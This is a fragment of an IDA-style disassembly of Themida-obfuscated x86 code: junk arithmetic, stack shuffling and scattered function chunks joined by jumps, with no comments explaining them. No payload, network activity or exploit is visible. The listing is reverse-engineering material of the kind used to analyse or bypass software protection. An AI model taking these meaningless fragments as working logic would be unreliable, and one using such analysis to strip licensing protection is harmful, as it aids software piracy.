; FUNCTION CHUNK AT 00555C61 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00556BF9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00557DD6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C1AC SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 78C33EB6h
		and	ebx, 60C51ECEh
		jmp	loc_556BF9
sub_5536FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B43


loc_55370E:				; CODE XREF: sub_555B43+3509j
		pop	edx
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_55529E
; END OF FUNCTION CHUNK	FOR sub_555B43
; ---------------------------------------------------------------------------


loc_55371A:				; CODE XREF: Themida_:00556B08j
		push	ebx
		mov	bl, 0FDh
		not	bl
		add	bl, 16h
		dec	bl
		add	bl, 87h
		mov	al, bl
		pop	ebx
		sub	al, 0ADh
		mov	cl, al
		mov	eax, [esp]
		add	esp, 4
		xor	cl, 8
		not	cl
		sub	cl, 89h
		add	cl, 89h
		inc	cl
		add	cl, 0F5h
		sub	cl, 9Fh
		mov	al, cl
		pop	ecx
		mov	dl, al
		pop	eax
		sub	al, dl
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5546D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_553761:				; CODE XREF: sub_55C1DB-9C6Aj
		shl	edi, 7
		xor	edi, 0D1FBCE80h
		not	edi
		add	edi, 1
		add	edi, 7D9C69C4h
		add	eax, edi
		jmp	loc_556EAA
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55377F:				; CODE XREF: sub_5546E4-13FFj
		pop	edx
		jmp	loc_55B2DD
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_553785:				; CODE XREF: sub_55703A+3F06j
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp+4+var_4]
		jmp	loc_555885
; END OF FUNCTION CHUNK	FOR sub_55703A
; ---------------------------------------------------------------------------


loc_553797:				; CODE XREF: Themida_:0055DDE2j
		sub	bl, ch
		pop	cx
		add	bl, dh
		jmp	loc_55221B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553144


loc_5537A2:				; CODE XREF: sub_553144+8D00j
		mov	[esp+4+var_4], eax
		push	edi
		mov	edi, 3CD34012h
		jmp	loc_55AAC4
; END OF FUNCTION CHUNK	FOR sub_553144
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_55DE47
; ---------------------------------------------------------------------------


loc_5537BA:				; CODE XREF: Themida_:00557010j
		add	ebx, 5707CBC3h
		mov	ecx, ebx
		jmp	loc_5552BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_5537C7:				; CODE XREF: sub_55314C+33B8j
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		sub	edx, 52C830B2h
		add	edx, ebp
		jmp	loc_556CD1
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_5537DC:				; CODE XREF: sub_552215+5DB2j
		add	edi, 64D51CAEh
		xor	edi, 0E30DC913h
		jmp	loc_55307D
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552F98


loc_5537ED:				; CODE XREF: sub_552F98+3j
		mov	esi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55850F
; END OF FUNCTION CHUNK	FOR sub_552F98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5537F8:				; CODE XREF: sub_55ABF6+2DA6j
		mov	esp, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], esi
		mov	esi, 777A012Bh
		shl	esi, 3
		add	esi, 5674347Bh
		push	ebp
		push	66C936D5h
		jmp	loc_559DBA
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55382A:				; CODE XREF: Themida_:00554623j
		push	edx
		mov	edx, 0E35378Dh
		xor	ebx, edx
		pop	edx
		shl	ebx, 1
		add	ebx, 0FA31EB51h
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_555662
		push	esi
		push	ebp
		push	3EB70FBDh
		mov	ebp, [esp]
		push	edi
		jmp	loc_55B35A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55385E:				; CODE XREF: sub_552791+B0F1j
		mov	al, 96h
		and	al, 0FEh
		jmp	loc_5559E6
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553867:				; CODE XREF: sub_55A4DA+24j
		add	esp, 4
		add	eax, 0E3922B3h
		jmp	loc_55671C
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552C64


loc_553874:				; CODE XREF: sub_552C64+6j
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 5E704E3Dh
		xor	esi, 0D0B075Bh
		push	edi
		mov	edi, 4E224C42h
		and	esi, edi
		pop	edi
		add	esi, 0BDDDB7C2h
		jmp	loc_55334D
; END OF FUNCTION CHUNK	FOR sub_552C64
; ---------------------------------------------------------------------------


loc_553897:				; CODE XREF: Themida_:0055BDB0j
		push	dword ptr [esp]
		jmp	loc_558A87

; =============== S U B	R O U T	I N E =======================================



sub_55389F	proc near		; CODE XREF: sub_5525C0+5DB7j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551B22 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00551BF8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552625 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00552685 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005538CA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00555C1C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555F80 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00557AFA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557ED8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055B02E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055DE15 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ecx
		jmp	loc_552625
sub_55389F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_5538AE:				; CODE XREF: sub_55CFFC+Dj
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		push	1EB6h
		mov	[esp+8+var_8], edx
		jmp	loc_551648
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_5538CA:				; CODE XREF: sub_55389F-11F0j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	edx
		jmp	loc_557ED8
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_5538ED:				; CODE XREF: sub_553571+9593j
		mov	ecx, 4
		jmp	loc_55BB9A
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------


loc_5538F7:				; CODE XREF: Themida_:00553078j
		add	al, 9Dh
		push	ebx
		mov	bh, 0F0h
		neg	bh
		push	eax
		mov	al, 0AFh
		sub	al, 7Bh
		xor	bh, al
		pop	eax
		add	bh, 34h
		xor	bh, 0FAh
		jmp	loc_552254
; ---------------------------------------------------------------------------


loc_553911:				; CODE XREF: Themida_:005565ECj
		add	ebp, 0DB37AB7Ch
		jmp	loc_557D7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55391C:				; CODE XREF: sub_55326E+1418j
		sub	edx, 32A2D46h
		jmp	loc_55C765
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_553927:				; CODE XREF: sub_55910B-4156j
		mov	word ptr [esp-6+arg_0+2], bx
		mov	bh, 69h
		mov	dl, bh
		pop	bx
		jmp	loc_55BB02
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55678F


loc_553936:				; CODE XREF: sub_55678F-4958j
		pop	ecx
		add	ebp, 2
		xchg	ebp, [esp+0]
		pop	esp
		dec	byte ptr [esp-4+arg_0]
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55678F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DB1


loc_55394A:				; CODE XREF: sub_572DB1-20D16j
		sub	dh, 0ADh
		jmp	loc_5519FE
; END OF FUNCTION CHUNK	FOR sub_572DB1
; ---------------------------------------------------------------------------


loc_553952:				; CODE XREF: Themida_:00556F40j
		pop	ebp
		add	esp, 4
		jmp	loc_556A35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55395E:				; CODE XREF: sub_55CE17-5272j
		mov	esi, [esp-4+arg_0]
		jmp	loc_556D2B
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_553966:				; CODE XREF: Themida_:00553BA2j
		push	ebp
		mov	ebp, 113668EDh
		add	ebp, 1
		xor	ebp, 59BD40B5h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebp
		push	edx
		mov	edx, 4A5C68D0h
		push	edx
		xchg	edx, [esp]
		not	edx
		jmp	loc_5587B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553144


loc_553990:				; CODE XREF: sub_553144+79A6j
		mov	edx, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	3787h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		xchg	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
; END OF FUNCTION CHUNK	FOR sub_553144
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5539B7:				; CODE XREF: sub_55ABF6-1504j
		push	ecx
		mov	ecx, ebx
		jmp	loc_556DD7
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5539BF:				; CODE XREF: Themida_:00558263j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_557F55
; ---------------------------------------------------------------------------


loc_5539D4:				; CODE XREF: Themida_:00558F7Ej
		add	bh, al
		pop	ax
		sub	ah, bh
		jmp	loc_551E68
; ---------------------------------------------------------------------------


loc_5539DF:				; CODE XREF: Themida_:005584BBj
		pop	ecx
		jmp	loc_5522E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_5539E5:				; CODE XREF: sub_55314C+5656j
		push	[esp+8+var_4]
		jmp	loc_558945
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
		push	small 1ABBh
		push	small 7AEBh
		mov	[esp], sp
		jmp	loc_55D0AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5539FF:				; CODE XREF: sub_559249-7804j
		mov	[esp+14h+var_14], ebx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_55962A
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553A13:				; CODE XREF: sub_55ABF6-2CC9j
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	ebx, 4
		jmp	loc_552662
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555891


loc_553A24:				; CODE XREF: sub_555891+11j
		and	ebp, 0ED21418h
		push	edx
		jmp	loc_553CD2
; END OF FUNCTION CHUNK	FOR sub_555891
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_553A30:				; CODE XREF: sub_55314C+1BFDj
		pop	edi
		jmp	loc_555F18
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_553A36:				; CODE XREF: sub_55CFFC-15E0j
		push	eax
		mov	eax, 1DB6088Ch
		shr	eax, 5
		jmp	loc_55203A
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553A44:				; CODE XREF: sub_55A4DA+27ADj
		xor	edx, 1B2D3DC0h
		add	edx, 763E098Fh
		sub	ebx, edx
		pop	edx
		add	ebx, 6D4A524Ah
		mov	[ebx], edx
		pop	ebx
		jmp	loc_55A94C
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_553A61:				; CODE XREF: sub_554592+4A03j
		mov	[esp+4+var_4], edx
		push	4C18h
		mov	[esp+8+var_8], esi
		mov	esi, 0B45102Dh
		jmp	loc_55C625
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_553A76:				; CODE XREF: sub_55314C+4939j
		pop	ecx
		jmp	loc_55AEC5
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553A7C:				; CODE XREF: sub_55ABF6-37FEj
		mov	bh, 6Bh
		jmp	loc_5558EF
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_553A83:				; CODE XREF: sub_55AE3A-7DA6j
		sub	al, 5Bh
		jmp	loc_55969E
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_553A8A:				; CODE XREF: sub_559249+3E3j
		push	dword ptr [ecx]
		jmp	loc_556D94
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553A91:				; CODE XREF: sub_55ABF6-50F1j
		mov	[esp+6+var_8+2], ebp
		push	edi
		push	69133C47h
		jmp	loc_553ADB
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_553A9F:				; CODE XREF: sub_556BCD+3242j
		push	dx
		mov	dh, 35h
		jmp	loc_555F97
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_553AA8:				; CODE XREF: sub_552850+74A2j
		push	esi
		jmp	loc_55658E
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553ACA


loc_553AAE:				; CODE XREF: sub_553ACA+Cj
		sub	esi, 23452C09h
		jmp	loc_554DE1
; END OF FUNCTION CHUNK	FOR sub_553ACA
; ---------------------------------------------------------------------------


loc_553AB9:				; CODE XREF: Themida_:005521F6j
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5514E3

; =============== S U B	R O U T	I N E =======================================



sub_553ACA	proc near		; CODE XREF: sub_55A833+2956j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551526 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005518E1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553AAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00554DE1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055C7BE SIZE 00000015 BYTES

		push	ebp
		mov	ebp, 6EA47202h
		add	esi, 1E2A708Bh
		jmp	loc_553AAE
sub_553ACA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553ADB:				; CODE XREF: sub_55ABF6-715Cj
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		shr	edi, 3
		not	edi
		xor	edi, 3563134Eh
		sub	edi, 8EC13CADh
		mov	ebp, edi
		pop	edi
		and	ebp, 3E241818h
		jmp	sub_553464
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_553B00:				; CODE XREF: Themida_:0055C7B0j
		push	ebx
		mov	ebx, 1D11321Eh
		push	eax
		push	0
		pop	eax
		sub	eax, ebx
		jmp	loc_5557BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_553B14:				; CODE XREF: sub_558326+3DFEj
		xor	ebx, 7450C29h
		dec	ebx
		not	ebx
		jmp	loc_551DAD
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_553B22:				; CODE XREF: Themida_:00554371j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_558E65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_553B31:				; CODE XREF: sub_55326E+9503j
		push	edx
		pop	ecx
		mov	edx, [esp-24h+arg_20]
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_552DEF
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553B3F:				; CODE XREF: sub_55ABF6-8127j
		mov	ah, 7Ah
		mov	ch, ah
		pop	eax
		sub	al, 67h
		add	al, ch
		push	ecx
		mov	ch, 67h
		add	al, 0ADh
		add	al, ch
		push	ecx
		mov	cl, 60h
		jmp	loc_556CFB
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_553B57:				; CODE XREF: Themida_:0055A425j
		pop	edi
		sub	edx, 0FFFFFFFFh
		xor	edx, 2A16EF37h
		jmp	loc_5584A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C87F


loc_553B69:				; CODE XREF: sub_55C87F+840j
		mov	[esp+10h+var_10], ebx
		mov	ebx, 14002195h
		shl	ebx, 1
		jmp	loc_557A0E
; END OF FUNCTION CHUNK	FOR sub_55C87F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_553B78:				; CODE XREF: sub_559249-24B4j
		pop	ecx
		jmp	loc_55A5CD
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_553B7E:				; CODE XREF: Themida_:0055979Cj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55AC21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_553B88:				; CODE XREF: sub_55BB30-43E1j
		inc	ecx
		xor	ecx, 0B957C887h
		xor	eax, ecx
		pop	ecx
		push	eax
		pop	edx
		pop	eax
		push	esi
		mov	esi, 39867081h
		dec	esi
		jmp	loc_55257E
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------


loc_553BA1:				; CODE XREF: Themida_:00558F3Aj
		pop	ecx
		jmp	loc_553966
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_553BA7:				; CODE XREF: sub_55611A-3AFAj
		mov	bh, dh
		mov	ch, bh
		pop	ebx
		pop	edx
		xor	al, ch
		push	dword ptr [esp+0]
		jmp	loc_5563C7
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_553BB7:				; CODE XREF: sub_552BA6+51E8j
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_55D82D
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------


loc_553BC3:				; CODE XREF: Themida_:0055CABAj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	1790h
		jmp	loc_557518
; ---------------------------------------------------------------------------


loc_553BD8:				; CODE XREF: Themida_:00552D02j
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5593D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553BF3:				; CODE XREF: sub_55ABF6-351Bj
		or	edx, 382F607Dh
		dec	edx
		add	edx, 82908108h
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_557332
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_553C0E:				; CODE XREF: Themida_:005590D3j
		push	15EAh
		mov	[esp], esi
		mov	esi, 6C3B31A2h
		sub	esi, 47BB7BE6h
		xor	esi, 64B36C1Bh
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		add	esi, 39CE2C16h
		shr	esi, 7
		jmp	loc_5536CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553C3B:				; CODE XREF: sub_55ABF6+2552j
		add	ecx, 27B558Eh
		sub	ecx, eax
		sub	ecx, 27B558Eh
		jmp	loc_555546
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_553C4E:				; CODE XREF: sub_55910B-118j
		dec	cl
		shl	cl, 7
		inc	cl
		not	cl
		add	cl, 0DBh
		and	bl, cl
		pop	ecx
		push	eax
		mov	al, 4Ah
		jmp	loc_5562B9
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_553C65:				; CODE XREF: sub_559249-3B58j
		sub	esi, 1AB9FA79h
		push	edi
		mov	edi, esi
		mov	edx, edi
		pop	edi
		jmp	loc_558640
; ---------------------------------------------------------------------------


loc_553C76:				; CODE XREF: sub_559249-3C79j
		add	esp, 4
		add	ecx, ebx
		jmp	loc_555331
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_553C80:				; CODE XREF: sub_55163B+4F37j
		pop	edi
		add	edi, ecx
		pop	ecx
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		push	ebx
		mov	ebx, 49F31940h
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_556C3E
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_553C9F:				; CODE XREF: Themida_:005548B3j
		inc	ecx
		sub	ecx, 6C1F36C3h
		add	ecx, 0E35948E4h
		sub	ebx, 1248149Eh
		sub	ebx, 41342C10h
		sub	ebx, 43744307h
		sub	ebx, ecx
		jmp	loc_55D0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_553CC5:				; CODE XREF: sub_551F97+A878j
		sub	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5540C1
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555891


loc_553CD2:				; CODE XREF: sub_555891-1E66j
		mov	edx, 3567BE5h
		jmp	loc_55C552
; END OF FUNCTION CHUNK	FOR sub_555891
; ---------------------------------------------------------------------------


loc_553CDC:				; CODE XREF: Themida_:005571A0j
		add	esp, 4
		push	ecx
		mov	ecx, 23716637h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_555451
; ---------------------------------------------------------------------------


loc_553CF3:				; CODE XREF: Themida_:00553139j
		pop	esp
		add	edi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_55BAA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_553D02:				; CODE XREF: sub_55CE17+6A8j
		mov	ebp, 28E97BE1h
		jmp	loc_551C09
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_553D0C:				; CODE XREF: Themida_:00554FEBj
		sub	edi, 1C83C04Dh
		mov	ebp, edi
		pop	edi
		xor	ebp, 0F49DC10Fh
		jmp	loc_55CBBB
; ---------------------------------------------------------------------------


loc_553D20:				; CODE XREF: Themida_:00557D7Fj
		pop	ebp
		sub	eax, 44417D78h
		jmp	loc_551D24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_553D2B:				; CODE XREF: sub_55AE3A-6B95j
		mov	dl, 0EFh
		jmp	loc_55CEAE
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_553D32:				; CODE XREF: sub_556D34+6A69j
		sub	edx, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		xor	edx, 376D55F8h
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		jmp	loc_559575
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_553D4C:				; CODE XREF: sub_5523E1+7705j
		mov	ebx, 2E2D35C0h
		add	ebx, 1FD8270Fh
		xor	ebx, 49AB09E2h
		jmp	loc_55B8E5
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5595D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_553D6A:				; CODE XREF: sub_55A4DA-3254j
		xchg	edx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], ebx
		push	1037h
		jmp	loc_55C5D7
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DB1


loc_553D7B:				; CODE XREF: sub_572DB1-218C5j
		sub	al, bl
		push	ebx
		mov	bh, 4Eh
		push	edx
		mov	dh, 0DCh
		xor	dh, 0B2h
		jmp	loc_552099
; END OF FUNCTION CHUNK	FOR sub_572DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_553D8B:				; CODE XREF: sub_55C58B-77AFj
		mov	ecx, 19411951h
		jmp	loc_551E3C
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_553D95:				; CODE XREF: sub_559249-7656j
		push	eax
		push	0FC7h
		mov	[esp+18h+var_18], ebx
		add	[esp+18h+var_18], 2BB705A0h
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		push	esi
		mov	esi, 2BB705A0h
		jmp	loc_55BCFF
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_553DB6:				; CODE XREF: Themida_:005515FFj
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_555263
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_557CF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_553DD2:				; CODE XREF: sub_55ABF6-92CEj
		mov	ecx, [esp-0Eh+arg_8+2]
		add	esp, 4
		push	ebp
		mov	ebp, 62991537h
		push	ebp
		pop	ebx
		pop	ebp
		add	ebx, 6FF164E6h
		sub	ebx, edx
		sub	ebx, 6FF164E6h
		jmp	loc_55D086
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_553DF4:				; CODE XREF: sub_555A6F+794Bj
		push	eax
		push	ecx
		mov	cl, 5Eh
		mov	al, 0ECh
		jmp	loc_559752
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_553DFF:				; CODE XREF: sub_55C58B-331Bj
		add	bl, 74h
		sub	bl, al
		push	edx
		mov	dl, 0DFh
		push	small 0
		sub	byte ptr [esp+2+var_4+2], dl
		mov	dl, byte ptr [esp+2+var_4+2]
		jmp	loc_553493
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_553E16:				; CODE XREF: sub_55802B+1D8Aj
		push	edi
		push	esi
		jmp	loc_5549EA
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------


loc_553E1D:				; CODE XREF: Themida_:00551591j
		add	ebx, edx
		jmp	loc_5571F1
; ---------------------------------------------------------------------------
